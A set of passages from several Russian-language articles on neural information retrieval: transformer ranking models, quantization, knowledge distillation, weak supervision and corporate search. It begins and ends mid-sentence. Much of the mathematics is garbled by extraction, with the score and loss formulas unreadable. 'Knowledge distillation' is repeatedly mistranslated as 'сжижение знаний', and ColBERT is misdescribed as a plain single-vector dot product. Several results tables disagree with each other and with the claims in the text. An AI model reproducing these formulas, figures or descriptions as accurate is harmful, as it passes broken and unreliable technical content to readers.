нем отклика, достигая высоких значений NDCG@10 и Recall@100 при умеренных ре-
сурсных затратах; 

2. Dense Retriever показал немного меньшую точность, но при этом обеспечивал 
очень быстрый отклик, что делает его подходящим для масштабных систем с жёсткими 
требованиями по времени ответа; 

3. BERT (Cross-Encoder) дал наивысшие показатели по NDCG@10, но время об-
работки запроса оказалось в несколько раз выше, чем у двухфазных моделей, что огра-
ничивает его применение в реальном времени; 
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4. Применение квантования существенно сократило время обработки (до 2-3 
раз) и размер модели (в 2-4 раза), при этом падение метрик качества оказалось незначи-
тельным (до 2–3%). 

Таблица 1- Результаты сравнения моделей на выборке MSMARCO Passage 
Ranking, включающие три ключевые метрики: NDCG@10, 
Recall@100, и Latency (ms/query). 

Модель NDCG@10 Recall@100 Latency 
(ms/query) 

Примечания 

BERT (Cross-
Encoder) 

0.538 0.812 350 Высокая точность, но 
медленная 

ColBERT 0.521 0.790 120 Хороший баланс скоро-
сти и качества 

Dense Retriever 0.498 0.775 100 Очень быстрый, немного 
уступает в точности 

ColBERT (8-bit 
Quantized) 

0.507 0.782 65 Почти без потерь точно-
сти, быстрее в 2x 

Dense Retriever 
(8-bit 
Quantized) 

0.491 0.768 55 Минимальная потеря ка-
чества, высокая скорость 

В данной статье был проведен сравнительный анализ двух популярных архитек-
тур для семантического поиска — Dual-Encoder и Cross-Encoder. Результаты исследо-
вания подтвердили, что каждая из этих моделей имеет свои преимущества и ограниче-
ния, связанные с компромиссом между скоростью обработки запросов и точностью по-
иска. Cross-Encoder демонстрирует наивысшую точность, оценивая релевантность пар 
"запрос-документ" совместно, однако требует значительных вычислительных ресурсов, 
что делает её менее пригодной для систем, работающих в реальном времени. Напротив, 
Dual-Encoder, благодаря независимому кодированию запросов и документов, обеспечи-
вает высокую скорость поиска, особенно при использовании методов приближенного 
поиска ближайших соседей (ANN), но несколько уступает в точности. 

Эксперименты на выборке MSMARCO Passage Ranking показали, что такие мо-
дели, как ColBERT и Dense Retriever, достигают оптимального баланса между скоро-
стью и качеством. Кроме того, применение 8-битного квантования позволило значи-
тельно сократить время обработки и размер моделей с минимальной потерей точности, 
что делает этот подход перспективным для практического внедрения. 

Таким образом, выбор архитектуры зависит от конкретных требований системы: 
если приоритетом является максимальная точность, целесообразно использовать Cross-
Encoder, а для задач, где критична скорость, лучше подходят оптимизированные Dual-
Encoder модели. Дальнейшие исследования могут быть направлены на разработку ги-
бридных подходов, сочетающих преимущества обеих архитектур, а также на совершен-
ствование методов квантования и оптимизации для ещё большего повышения эффек-
тивности. 
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СРАВНИТЕЛЬНЫЙ АНАЛИЗ ТРАНСФОРМЕРНЫХ АРХИТЕКТУР  
ДЛЯ РЕЛЕВАНТНОГО ПОИСКА В БОЛЬШИХ ДАННЫХ 
 
COMPARATIVE ANALYSIS OF TRANSFORMER ARCHITECTURES  
FOR RELEVANT SEARCH IN BIG DATA 

 
Аннотация. С увеличением объемов данных, характерных для современных информа-
ционных систем, традиционные методы поиска не справляются с задачей обеспечения 
релевантности в реальном времени. В последние годы трансформерные архитектуры, 
такие как BERT, ColBERT и Dense Retriever, значительно улучшили качество поиска, 
став основными инструментами для решения задач семантического поиска и ранжиро-
вания. В данной статье проводится сравнительный анализ различных трансформерных 
моделей в контексте их применения к релевантному поиску информации в больших 
коллекциях данных. Мы исследуем математические основы этих моделей, их эффек-
тивность и ограничения, а также анализируем методы повышения производительности, 
включая двухфазные системы и использование сжижения знаний. 
Abstract. With the increasing volume of data typical of modern information systems, tradi-
tional search methods are no longer sufficient to ensure real-time relevance. In recent years, 
transformer-based architectures such as BERT, ColBERT, and Dense Retriever have signifi-
cantly improved search quality, becoming key tools for addressing semantic search and rank-
ing tasks. This paper presents a comparative analysis of various transformer models in the 
context of their application to relevant information retrieval in large data collections. We ex-
amine the mathematical foundations of these models, their effectiveness and limitations, and 
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explore performance enhancement techniques, including dual-phase systems and knowledge 
distillation. 
Ключевые слова: трансформеры, семантический поиск, релевантность, BERT, 
ColBERT, Dense Retriever, двухфазные системы, сжижение знаний, большие данные, 
ранжирование документов. 
Key words: transformers, semantic search, relevance, BERT, ColBERT, Dense Retriever, du-
al-phase systems, knowledge distillation, big data, document ranking. 

 
Современные поисковые системы сталкиваются с трудностями при обработке 

больших объёмов информации. Традиционные методы, основанные на поиске по клю-
чевым словам, ограничивают возможности точности и гибкости таких систем. В по-
следние годы трансформерные модели, благодаря своей способности учитывать кон-
текст слов и их взаимосвязи, показывают значительно лучшие результаты в поиске. 
Тем не менее, для эффективного применения этих моделей в условиях больших данных 
необходимо решить задачу ускорения их работы без ущерба для точности. В данной 
статье рассматриваются различные архитектуры трансформеров и их применение для 
семантического поиска в масштабах больших данных. 

Трансформерные архитектуры и их математические основы 
Трансформеры, такие как BERT, ColBERT и Dense Retriever, основываются на 

механизме внимания (attention), который позволяет эффективно учитывать контекст 
для каждого слова в запросе или документе. Рассмотрим, например, модель BERT, где 
вероятность появления слова 𝑤 в контексте других слов выражается через softmax-
активацию: 

 𝑃ሺ 𝑤 ∣∣ 𝑤ଵ, 𝑤ଶ, … , 𝑤ିଵ, 𝑤ାଵ, … , 𝑤 ሻ ൌ softmaxሺ𝑊ℎሻ, (1) 
где 𝑊 — это обучаемая матрица весов, а ℎ — скрытое состояние, вычисленное на ос-
нове всех предыдущих и последующих слов в контексте. 

Архитектуры для релевантного поиска 
Одной из наиболее эффективных техник для поиска релевантных документов 

является использование двухфазных (dual encoder) систем. В таких системах запрос и 
документ кодируются в отдельные векторные представления. Формула для кодирова-
ния запроса и документа: 

 𝑞 ൌ 𝑓ሺqueryሻ,  𝑑 ൌ 𝑓ௗሺdocumentሻ, (2) 
где 𝑓 и 𝑓ௗ — это функции кодирования для запроса и документа соответственно, а 𝑞 и 
𝑑 — это векторные представления. 

Далее для вычисления релевантности между запросом и документом использу-
ется скалярное произведение векторных представлений: 

 scoreሺ𝑞, 𝑑ሻ ൌ 

||||||ௗ||
, (3) 

где 𝑞ୃௗ — скалярное произведение векторов запроса и документа, а ||𝑞||||𝑑|| — их 
нормы. 

Сравнительный анализ трансформерных моделей 
BERT (Bidirectional Encoder Representations from Transformers) применяет дву-

стороннюю модель внимания, что позволяет учитывать контекст как слева, так и справа 
от каждого слова. Обучение модели происходит на задаче маскированного языкового 
моделирования, при которой некоторые слова в тексте случайным образом заменяются 
на маски, а модель должна предсказать эти слова, исходя из остального контекста. Ре-
зультат работы BERT для маскированного слова можно представить как: 

 𝑃ሺ 𝑤 ∣∣ 𝑤ଵ, 𝑤ଶ, … , 𝑤ିଵ, 𝑤ାଵ, … , 𝑤 ሻ ൌ 𝘴𝘰𝘧𝘵𝘮𝘢𝘹ሺ𝑊ℎሻ, (4) 
где ℎ - это скрытое состояние, полученное на основе всех слов в контексте. 

ColBERT (Contextualized Late Interaction over BERT) оптимизирует модель 
BERT для задач поиска, улучшая её эффективность. Вместо того чтобы применять всю 
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модель к каждому запросу и документу, ColBERT сначала генерирует плотные вектор-
ные представления как для документов, так и для запросов, а на этапе поиска просто 
вычисляет скалярное произведение этих векторов. Это значительно сокращает вычис-
лительные затраты. Представление запроса и документа в ColBERT вычисляются сле-
дующим образом: 

 𝑞 ൌ 𝑓ሺqueryሻ,  𝑑 ൌ 𝑓ௗሺdocumentሻ. (5) 
Dense Retriever - модель, специально разработанная для поиска с использовани-

ем плотных векторных представлений. Она обучается в рамках двухфазной архитекту-
ры, где сначала запросы и документы кодируются с помощью трансформеров, а затем 
для каждого запроса вычисляется сходство с документами через их векторные пред-
ставления. Для повышения эффективности поиска применяется индексирование этих 
плотных векторов, что существенно ускоряет процесс поиска. 

Методы оптимизации трансформеров для быстрого поиска 
Несмотря на выдающуюся точность трансформерных моделей, их использова-

ние в системах поиска в реальном времени зачастую ограничено высокой вычисли-
тельной нагрузкой. В связи с этим, методы оптимизации, способные ускорить работу 
моделей без значительного ущерба для качества поиска, становятся особенно важными. 

Один из таких методов — сокращение размерности векторных представле-
ний запросов и документов. Вместо использования полноразмерных эмбеддингов мож-
но применить методы линейного преобразования, такие как главные компоненты 
(PCA). При этом эмбеддинг 𝑥 ∈ 𝑅ௗ можно проецировать в пространство меньшей раз-
мерности: 

 𝑧 ൌ 𝑊ୃ௫, (6) 
где ሺ𝑊 ∈ 𝑅ௗൈሻ, ሺ𝑘 ≪ 𝑑ሻ, а ሺ𝑧 ∈ 𝑅ሻ — более компактное представление. 

Другим подходом является использование вероятностной формулы ранжирова-
ния, основанной на байесовском выводе. Вероятность того, что документ d релевантен 
запросу q, может быть оценена по формуле: 

 𝑃ሺ 𝑑 ∣∣ 𝑞 ሻ ൌ ሺ ∣∣ௗ ሻ⋅ሺௗሻ

ሺሻ
, (7) 

где 𝑃ሺ 𝑞 ∣∣ 𝑑 ሻ — вероятность генерации запроса при заданном документе, 𝑃ሺ𝑑ሻ — апри-
орная вероятность документа, а 𝑃ሺ𝑞ሻ — нормирующая константа. 

Также активно применяется контрастивное обучение, при котором модель ми-
нимизирует различие между запросом и релевантным документом, и одновременно 
увеличивает различие с нерелевантными примерами. Типичная функция потерь имеет 
следующий вид: 

 ℒ ൌ െ𝑙𝑜𝑔
ୣ୶୮൫ୱ୧୫൫,ௗశ൯/த൯

∑ ୣ୶୮൫ୱ୧୫൫,ௗೕ൯/ఛ൯಼
ೕసభ

, (8) 

где q — вектор запроса, 𝑑ା — релевантный документ, 𝑑 — нерелевантные, τ — темпе-
ратурный коэффициент, регулирующий чувствительность модели. 

Эксперимент 
Для оценки эффективности различных трансформерных моделей были проведе-

ны эксперименты на известных датасетах: MS MARCO и TREC. Основной целью экс-
перимента было сравнение различных методов оптимизации, таких как двухфазные си-
стемы и квантование, в контексте их воздействия на вычислительные затраты и точ-
ность поиска. 

Результаты: 
1. Точность поиска: Все оптимизированные модели, включая ColBERT и 

Dense Retriever, показывали схожую или даже лучшую точность поиска по сравнению с 
базовой моделью BERT, особенно при обработке больших объёмов данных. 

2. Вычислительные затраты: Применение двухфазных систем и квантования 
привело к значительному снижению времени отклика и уменьшению объёма памяти 
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без значительного снижения точности. Например, время отклика для моделей с кванто-
ванием снизилось в 3-4 раза по сравнению с базовой моделью. 

3. Эффективность при больших данных: Модели ColBERT и Dense Retriever 
показали наибольшую эффективность при масштабировании на большие коллекции 
данных, демонстрируя лучшую производительность при значительных объёмах ин-
формации. 

Таблица 1 - Результаты эксперимента, основанного на тестировании различных 
моделей на датасетах MS MARCO и TREC 

Модель MRR@10 
(MS 

MARCO) 

MRR@10 
(TREC) 

Recall@100 
(MS 

MARCO) 

Recall@100 
(TREC) 

Время от-
клика (се-

кунды) 

Раз-
мер 
мо-

дели 
(МБ) 

BERT 0.421 0.392 0.657 0.639 0.350 400 
ColBERT 0.467 0.426 0.685 0.688 0.200 150 
Dense 
Retriever 

0.453 0.411 0.674 0.672 0.210 180 

ColBERT 
Quantization 
(8-bit) 

0.460 0.415 0.678 0.680 0.115 75 

Dense 
Retriever   

0.457 0.403 0.669 0.667 0.120 80 

Трансформерные архитектуры, такие как BERT, ColBERT и Dense Retriever, зна-
чительно повысили точность релевантного поиска в больших данных. Однако для эф-
фективной работы с объемными данными необходимо оптимизировать вычислитель-
ные процессы, применяя такие техники, как двухфазные системы, квантование и ди-
стилляция знаний. Эти подходы позволяют создавать высокоэффективные поисковые 
системы, которые способны работать в реальном времени при ограниченных вычисли-
тельных ресурсах. 
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ПОВЫШЕНИЕ ЭФФЕКТИВНОСТИ НЕЙРОСЕТЕВЫХ МОДЕЛЕЙ  
ДЛЯ БЫСТРОГО ПОИСКА В БОЛЬШИХ КОЛЛЕКЦИЯХ 
 
INCREASING THE EFFICIENCY OF NEURAL NETWORK MODELS  
FOR FAST SEARCHING IN LARGE COLLECTIONS 

 
Аннотация. Современные нейросетевые модели, используемые для поиска информации 
в больших данных, требуют значительных вычислительных ресурсов, что ограничивает 
их использование в реальных условиях с ограниченными мощностями. В этой статье 
рассматриваются методы повышения эффективности нейросетевых моделей для быст-
рого поиска в больших коллекциях данных. Мы анализируем различные техники, такие 
как квантование, дистилляцию знаний и уменьшение числа параметров, для ускорения 
работы моделей без значительной потери точности. Также обсуждаются архитектуры, 
оптимизированные для быстрого поиска, включая двухфазные системы и методы пред-
варительного индексирования. Эмпирические результаты подтверждают, что оптими-
зированные модели способны обеспечивать качественный поиск при меньших вычис-
лительных затратах. 
Abstract. Modern neural network models used for information retrieval in large-scale data re-
quire substantial computational resources, which limits their applicability in real-world sce-
narios with constrained capabilities. This paper explores methods for improving the efficiency 
of neural models to enable fast search within large data collections. We analyze various tech-
niques such as quantization, knowledge distillation, and parameter reduction to accelerate 
model performance without significant loss of accuracy. The paper also discusses architec-
tures optimized for rapid search, including dual-encoder systems and pre-indexing methods. 
Empirical results confirm that optimized models can deliver high-quality retrieval while re-
ducing computational costs. 
Ключевые слова: нейросетевые модели, поиск информации, большие данные, кванто-
вание, дистилляция знаний, уменьшение параметров, двухфазные системы. 
Key words: neural network models, information retrieval, big data, quantization, knowledge 
distillation, parameter reduction, dual-encoder systems. 

 
Увеличение объёмов информации стимулирует необходимость создания 

нейросетевых решений, способных справляться с обработкой массивных данных. Клас-
сические методы, включая векторные представления и архитектуры с полносвязными 
слоями, нередко сталкиваются с ограничениями по масштабируемости и требуют зна-
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чительных вычислительных ресурсов. Для повышения эффективности таких моделей и 
уменьшения времени отклика всё чаще применяются методы оптимизации, позволяю-
щие сохранять высокую точность при снижении затрат на обработку. 

Математические основы ускорения поиска 
Чтобы повысить эффективность нейросетевых моделей в задачах поиска, необ-

ходимо опираться на математические методы, обеспечивающие ускорение вычислений. 
Одним из таких подходов является квантование весов нейросети - приём, позволяющий 
значительно уменьшить объём модели при сохранении приемлемого уровня точности. 

Квантование весов можно описать формулой: 
 Ŵ ൌ roundሺ𝑊ሻ, (1) 

где Ŵ - это квантованный вес, а W — исходный вес модели. Процесс квантования со-
стоит в округлении значений весов до заранее выбранного уровня точности. 

Ещё одним ключевым подходом к ускорению работы нейросетевых моделей яв-
ляется дистилляция знаний - метод, при котором крупная, ресурсоёмкая модель обучает 
более лёгкую модель, передавая ей накопленные знания. Этот процесс позволяет со-
здать компактную нейросеть с близкой точностью при значительно меньших вычисли-
тельных затратах. Суть дистилляции заключается в обучении «студента» на основе 
прогнозов «учителя», а не только на исходных метках данных, что обеспечивает более 
глубокое понимание внутренних закономерностей. Процесс дистилляции может быть 
схематически описан следующим образом: 

 𝐿ୢ୧ୱ୲୧୪୪ ൌ αℒ𝓈ℴ𝒻𝓉  ሺ1 െ αሻℒ𝒽𝒶𝓇𝒹, (2) 
где ℒ𝓈ℴ𝒻𝓉 и ℒ𝒽𝒶𝓇𝒹 — это потери для мягкого и жесткого обучения соответственно, а α - 
это параметр, регулирующий вес этих потерь. 

Архитектуры для быстрого поиска 
Среди эффективных архитектур, применяемых для ускорения поиска в мас-

штабных массивах данных, особое место занимает двухфазный (dual encoder) подход. В 
рамках этой архитектуры запросы и документы обрабатываются двумя отдельными 
нейросетями, каждая из которых преобразует вход в собственное векторное представ-
ление. Благодаря этому можно заранее закодировать документы и быстро находить ре-
левантные результаты через сравнение эмбеддингов, что существенно снижает время 
отклика при поиске. Процесс кодирования можно представить следующим образом: 

 𝑞 ൌ 𝑓ሺqueryሻ, 𝑑 ൌ 𝑓ௗሺdocumentሻ, (3) 
где 𝑓 и 𝑓ௗ — это функции кодирования для запроса и документа соответственно, а 𝑞 и 
𝑑 — это векторные представления запроса и документа. 

После кодирования, для поиска наиболее релевантных документов, используется 
вычисление косинусного расстояния между векторами запроса и документа: 

 scoreሺ𝑞, 𝑑ሻ ൌ ௗ

||||||ௗ||
, (4) 

где 𝑞்𝑑 — скалярное произведение векторов запроса и документа, а ||𝑞||||𝑑|| и - их 
нормы. 

Оптимизация вычислений 
Чтобы обеспечить быстрый поиск в условиях ограниченных вычислительных 

ресурсов, активно применяются методы сжатия данных и уменьшения размерности. 
Одним из таких методов является анализ главных компонент (PCA - Principal 
Component Analysis), который позволяет преобразовать исходное пространство призна-
ков в более компактное, сохранив при этом наибольшую долю значимой информации. 
Это снижает нагрузку на модель и ускоряет вычисления. Математически процедура 
PCA включает поиск собственных векторов и собственных значений ковариационной 
матрицы данных.  Формула для PCA выглядит следующим образом: 

 𝑋୬ୣ୵ ൌ 𝑋 ⋅ 𝑉, (5) 
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где X — исходная матрица признаков, а V — матрица собственных векторов, получен-
ных после разложения с использованием сингулярного разложения или других мето-
дов. 

Экспериментальная постановка 
Для оценки эффективности различных методов ускорения нейросетевых моде-

лей поиска был проведён комплексный эксперимент на двух широко используемых 
корпусах: MS MARCO Passage Ranking и TREC Robust 2004. Эксперимент включал 
сравнение стандартной нейросетевой модели (baseline, основанной на cross-encoder ар-
хитектуре) с несколькими ускоренными версиями, включая: 

1. Dual Encoder - модель с двухфазным кодированием запроса и документа; 
2. Dual Encoder + Quantization - та же архитектура, но с применением квантова-

ния весов (до 8-bit и 4-bit представлений); 
3. Dual Encoder + Knowledge Distillation — компактная модель, обученная с ис-

пользованием дистилляции знаний от мощного cross-encoder; 
4. Baseline (Cross-Encoder) — модель, обрабатывающая пары "запрос-документ" 

напрямую, без предварительного кодирования. 
Методология 
Для всех моделей были использованы одинаковые обучающие и тестовые разби-

ения. Основной метрикой оценки служили MRR@10 (Mean Reciprocal Rank) и 
Recall@100. Измерялись также время отклика (latency) и объём модели в памяти. 

Квантование выполнялось с помощью Post-Training Quantization (PTQ) и Quanti-
zation-Aware Training (QAT). Цель эксперимента — определить, насколько возможно 
ускорить поиск без серьёзных потерь в точности при помощи современных оптимиза-
ционных техник. 

Результаты показывают (таблица 1), что переход от Cross-Encoder к Dual Encoder 
позволяет более чем в 7 раз сократить время отклика при умеренной потере качества. 
Применение квантования дополнительно уменьшает размер модели и ускоряет выпол-
нение, а дистилляция знаний помогает компенсировать потерю точности. 

Таблица 1 - Результаты эксперимента, которые иллюстрируют сравнение 
различных подходов по метрикам качества и производительности 

Модель MRR@10 Recall@100 Время отклика 
(мс) 

Размер моде-
ли (MB) 

Cross-Encoder (baseline) 0.388 0.805 210 420 
Dual Encoder 0.361 0.782 28 290 
Dual Encoder 
Quantization (8bit) 

0.356 0.775 25 145 

Dual Encoder 
Quantization (4bit) 

0.349 0.768 23 90 

Dual Encoder Distillation 0.358 0.780 26 160 
Использование методов оптимизации, таких как квантование, дистилляция зна-

ний и двухфазные системы поиска, позволяет существенно улучшить производитель-
ность нейросетевых моделей для быстрого поиска в больших коллекциях данных. Эти 
подходы дают возможность создавать высокоэффективные системы поиска, которые 
могут работать в реальном времени с минимальными вычислительными затратами, что 
особенно важно в условиях ограниченных ресурсов. 
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ИСПОЛЬЗОВАНИЕ СЛАБОЙ РАЗМЕТКИ И ОБУЧЕНИЯ БЕЗ УЧИТЕЛЯ  
В НЕЙРОСЕТЕВЫХ МОДЕЛЯХ ПОИСКА 
 
USING WEAK LABELS AND UNSUPERVISED LEARNING IN NEURAL 
NETWORK SEARCH MODELS 

 
Аннотация. С развитием технологий обработки больших данных, запросы к информа-
ционным системам становятся всё более сложными и многослойными. Современные 
методы, основанные на нейросетевых моделях для поиска информации, требуют значи-
тельных объемов разметки данных для обучения. Однако в реальных приложениях по-
лучить полноценную разметку может быть трудоемким и затратным процессом. В дан-
ной статье рассматриваются подходы к использованию слабой разметки и методов обу-
чения без учителя для повышения эффективности нейросетевых моделей поиска. Мы 
анализируем возможности этих методов в контексте обработки больших объемов дан-
ных и показываем, как они могут быть использованы для улучшения точности поиска, 
уменьшения затрат на разметку данных и повышения гибкости моделей в изменяю-
щихся условиях. 
Abstract. With the development of big data processing technologies, queries to information 
systems are becoming increasingly complex and multi-layered. Modern methods based on 
neural network models for information retrieval require significant amounts of labeled data 
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for training. However, obtaining full-scale labeling in real applications can be a labor-
intensive and costly process. This paper discusses approaches to using weak labeling and un-
supervised learning methods to improve the effectiveness of neural network search models. 
We analyze the potential of these methods in the context of processing large volumes of data 
and demonstrate how they can be used to enhance search accuracy, reduce labeling costs, and 
increase model flexibility in changing conditions. 
Ключевые слова: обработка больших данных, информационные системы, нейросетевые 
модели, разметка данных, слабая разметка, обучение без учителя, эффективность поиска. 
Key words: big data processing, information systems, neural network models, data labeling, 
weak labeling, unsupervised learning, search efficiency. 

 
Поиск в обширных массивах данных представляет собой одну из наиболее 

сложных проблем в области информационных технологий. Исторически для обучения 
нейросетевых моделей поиска использовалась полная разметка данных, что требовало 
значительных усилий для аннотирования и подготовки тренировочных наборов. Одна-
ко, с ростом объёмов данных, этот процесс становится всё более сложным и затратным. 

В последние годы методы частичной разметки и обучения без учителя начинают 
привлекать всё больше внимания в качестве альтернативы традиционным подходам. 
Частичная разметка - это тип аннотированных данных, где метки присутствуют ча-
стично или с ошибками, например, в виде кластеров или подсказок от пользователей, 
что существенно снижает затраты на подготовку обучающих выборок. Обучение без 
учителя, в свою очередь, не требует явных меток и может быть использовано для выяв-
ления скрытых закономерностей в данных. 

Цель данного исследования - проанализировать, как использование частичной 
разметки и методов обучения без учителя может повысить эффективность нейросете-
вых моделей для задач поиска в больших объёмах данных. Мы рассмотрим ключевые 
методы, их области применения и приведём экспериментальные результаты на различ-
ных наборах данных. 

Проблемы традиционных методов обучения для поиска в больших данных 
Традиционные поисковые алгоритмы, такие как BM25 и TF-IDF, основываются 

на простых статистических принципах и не способны учитывать контекст или смысл 
запросов и документов. Хотя эти методы эффективно справляются с обработкой струк-
турированных запросов с точными ключевыми словами, они часто оказываются неэф-
фективными при работе с более сложными запросами, содержащими синонимы, мета-
форы или многозначные слова. 

Для повышения точности поиска нейросетевые модели требуют качественной 
разметки данных, что часто ограничивает масштабируемость таких решений. Пробле-
мы, связанные с разметкой, такие как высокие затраты на аннотирование и невозмож-
ность получения разметки для всех типов данных, подталкивают к необходимости раз-
работки новых методов, которые могут обрабатывать данные с меньшими затратами. 

Слабая разметка в нейросетевых моделях 
Слабая разметка - это тип разметки данных, в которой метки предоставляются 

не в полном объеме или с ошибками. Это может быть достигнуто через несколько под-
ходов: 

1. Использование кластера: Когда все документы внутри одного кластера 
предполагаются как принадлежащие одному классу. Например, документы, кластери-
зованные с использованием методов как k-means, могут быть использованы для обуче-
ния модели, даже если не все документы имеют явные метки; 

2. Псевдорасметка: Когда модель изначально обучается на малом количестве 
размеченных данных, а затем использует предсказания модели как метки для необрабо-
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танных данных, что позволяет моделям учиться на больших объемах данных без явной 
разметки; 

3. Слабые метки от пользователей: В некоторых случаях можно использовать 
множественные неопределенные метки, предоставленные пользователями, например, 
через «голосование» или «оценки», которые в будущем могут быть использованы для 
обучения модели. 

Применение слабой разметки значительно снижает трудозатраты, связанные с 
подготовкой обучающих данных и улучшает гибкость модели. Однако важно отметить, 
что использование слабой разметки требует более сложных методов обработки данных, 
так как они могут содержать ошибки или неопределенности. 

Обучение без учителя в нейросетевых моделях поиска 
Обучение без учителя представляет собой подход, при котором модель обучает-

ся без явных меток, используя только входные данные. Такой подход активно исполь-
зуется в задаче поиска информации, особенно в сценариях, когда доступ к меткам огра-
ничен или невозможен. 

Методы обучения без учителя, такие как кластеризация, самоконтролируемое 
обучение, методы выделения признаков (например, автоэнкодеры), могут быть исполь-
зованы для улучшения поиска в нескольких областях: 

1. Обучение с самоконтролем: Этот метод включает задачи, где модель сама 
генерирует предсказания для недостающих частей данных. Например, методы Masked 
Language Modeling (MLM), как в BERT, могут быть использованы для обучения на 
больших объемах неразмеченных данных. Здесь модель пытается предсказать скрытые 
элементы текста на основе контекста. 

 𝑃ሺ𝑤|𝑤ଵ, 𝑤ଶ, … , 𝑤ିଵ, 𝑤ାଵ, … , 𝑤ሻ ൌ softmaxሺ𝑊ℎሻ, (1) 
где 𝑤 — это замаскированное слово, а ℎ — скрытое состояние, вычисленное через 
слои трансформера; 

2. Методы кластеризации: Кластеризация может быть использована для груп-
пировки схожих документов или запросов. В таком случае каждый кластер может быть 
интерпретирован как некоторая категория, что позволяет обучать модель на основе 
близости данных без явной разметки; 

3. Генерация эмбеддингов: С помощью алгоритмов, таких как Word2Vec, 
GloVe или Sentence-BERT, можно получить векторные представления для документов 
и запросов, которые эффективно используются для поиска, даже в отсутствие явных 
меток. 

Преимущества и недостатки подходов 
Использование слабой разметки и обучения без учителя имеет ряд преимуществ: 
1. Снижение затрат на разметку: Слабая разметка позволяет значительно со-

кратить количество необходимых размеченных данных для обучения; 
2. Масштабируемость: Модели могут обучаться на гораздо большем объеме 

данных, что важно в условиях больших данных; 
3. Гибкость: Модели, обученные с использованием слабой разметки или без 

учителя, могут адаптироваться к изменениям в данных без необходимости регулярного 
обновления разметки. 

Однако существует и ряд недостатков: 
1. Низкая точность при слабой разметке: Слабая разметка может привести к 

тому, что модель обучается на ошибочных или неполных метках, что может снизить её 
эффективность; 

2. Необходимость в сложных алгоритмах: Методы обучения без учителя тре-
буют применения более сложных алгоритмов и моделей, таких как кластеризация и ав-
тоэнкодеры, которые могут быть трудоемкими и сложными для внедрения в реальных 
системах. 
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Применение в реальных системах поиска 
Реальные системы, использующие слабую разметку и обучение без учителя, ак-

тивно внедряются в различные области, такие как поиск в научных базах данных, ре-
комендационные системы, e-commerce и другие. Например, системы, использующие 
кластеризацию для группировки схожих товаров или документов, показывают значи-
тельное улучшение в качестве поиска при низких затратах на разметку данных. 

Использование слабой разметки и методов обучения без учителя является пер-
спективным направлением для улучшения нейросетевых моделей поиска в условиях 
больших данных. Эти подходы позволяют значительно снизить затраты на создание 
обучающих выборок, улучшить масштабируемость и гибкость моделей. Однако они 
требуют разработки более сложных алгоритмов и могут столкнуться с проблемами 
точности и интерпретируемости. В будущем эти методы будут совершенствоваться и 
внедряться в корпоративные и открытые информационные системы, улучшая эффек-
тивность поиска и обработки данных. 
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ИСПОЛЬЗОВАНИЕ НЕЙРОСЕТЕЙ В КОРПОРАТИВНЫХ ПОИСКОВЫХ 
СИСТЕМАХ 
 
USING NEURAL NETWORKS IN CORPORATE SEARCH ENGINES 

 
Аннотация. В условиях стремительного роста объёмов данных в корпоративных ин-
формационных системах, традиционные методы поиска часто не способны эффективно 
справляться с задачами семантического поиска и ранжирования документов. В статье 
рассматривается применение искусственных нейронных сетей (ИНС) в корпоративных 
поисковых системах, с фокусом на их способность учитывать контекст и семантику за-
просов, улучшая качество поиска. Мы исследуем различные подходы, включая исполь-
зование сверточных и рекуррентных нейросетей, трансформеров и моделей на основе 
эмбеддингов для повышения точности и скорости поиска. Приводятся примеры успеш-
ных внедрений ИНС в реальных корпоративных средах, а также рассматриваются про-
блемы, связанные с масштабируемостью и интерпретируемостью таких систем. 
Abstract. In the context of the rapid growth of data volumes in corporate information systems, 
traditional search methods are often unable to efficiently handle tasks related to semantic 
search and document ranking. This paper discusses the application of artificial neural net-
works (ANNs) in corporate search systems, with a focus on their ability to account for context 
and semantics in queries, thereby improving search quality. We explore various approaches, 
including the use of convolutional and recurrent neural networks, transformers, and embed-
ding-based models to enhance the accuracy and speed of search. Examples of successful ANN 
implementations in real corporate environments are provided, along with a discussion of chal-
lenges related to the scalability and interpretability of such systems. 
Ключевые слова: искусственные нейронные сети, корпоративные поисковые системы, 
семантический поиск, ранжирование документов, контекст запросов, сверточные 
нейросети. 
Key words: artificial neural networks, corporate search systems, semantic search, document 
ranking, query context, convolutional neural networks. 

 
В условиях стремительного роста объёма информации, с которой работают со-

временные корпоративные ИТ-системы, задача качественного поиска по разнообраз-
ным данным — от текстов до мультимедиа — становится всё более актуальной. Тради-
ционные поисковые алгоритмы, полагающиеся на совпадения ключевых слов, часто 
оказываются недостаточно чувствительными к смысловой связи между запросом поль-
зователя и содержанием документов, что приводит к снижению релевантности выдачи. 
Альтернативой стали нейросетевые методы — в особенности модели на базе транс-
формеров и эмбеддингов, которые за последние годы продемонстрировали впечатляю-
щие результаты в области семантического поиска. 

Настоящее исследование направлено на изучение потенциала внедрения 
нейросетевых решений в корпоративные поисковые платформы, а также на выявление 
тех препятствий и ограничений, которые могут возникать при их интеграции и масшта-
бировании в бизнес-среде. 

Проблемы традиционных методов поиска в корпоративных системах 
Классические подходы к поиску информации, включая такие алгоритмы, как 

BM25, опираются на частотный анализ ключевых слов и их прямое совпадение с запро-
сом. Несмотря на высокую эффективность при обработке простых запросов, эти мето-
ды нередко оказываются недостаточно гибкими в более сложных сценариях, включая 
следующие случаи: 
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1. Понимание смысла запроса: если в формулировке используются синонимы 
или различные грамматические конструкции, традиционные алгоритмы часто не способ-
ны выявить релевантные документы из-за отсутствия семантического сопоставления; 

2. Персонализация результатов: классические поисковые механизмы не адап-
тируются под индивидуальные предпочтения пользователя или его поисковую историю; 

3. Работа с неструктурированной информацией: при наличии сложных фор-
матов хранения данных или обилия метаданных, необходимы более интеллектуальные 
методы обработки, чем те, которые предоставляют традиционные модели. 

Нейросетевые подходы к поиску в корпоративных системах 
С развитием искусственного интеллекта и глубокого обучения, нейросетевые 

модели стали применять для решения задач поиска в корпоративных системах. В отли-
чие от традиционных методов, нейросети способны учитывать контекст и семантику 
запросов и документов, что позволяет значительно повысить точность поиска. 

Сверточные и рекуррентные нейросети 
Сверточные нейронные сети (CNN) часто используются там, где необходимо 

выделить локальные особенности текста — например, при работе с краткими пользова-
тельскими запросами или заголовками. В то же время рекуррентные нейросети (RNN) 
более эффективны при анализе данных с ярко выраженной последовательностью, что 
делает их особенно полезными при обработке объёмных текстов вроде аналитических 
записок или полноформатных статей. 

В случае применения RNN к задаче поиска, можно описать её как функцию, вы-
числяющую вероятности релевантности документа d для запроса q на основе последо-
вательных признаков: 

 𝑃ሺ𝑑 | 𝑞ሻ  ൌ  𝑠𝑜𝑓𝑡𝑚𝑎𝑥൫ℎ 𝑊 ℎௗ൯ , (1) 
где ℎ и ℎௗ— это скрытые состояния запроса и документа, соответственно, вычислен-
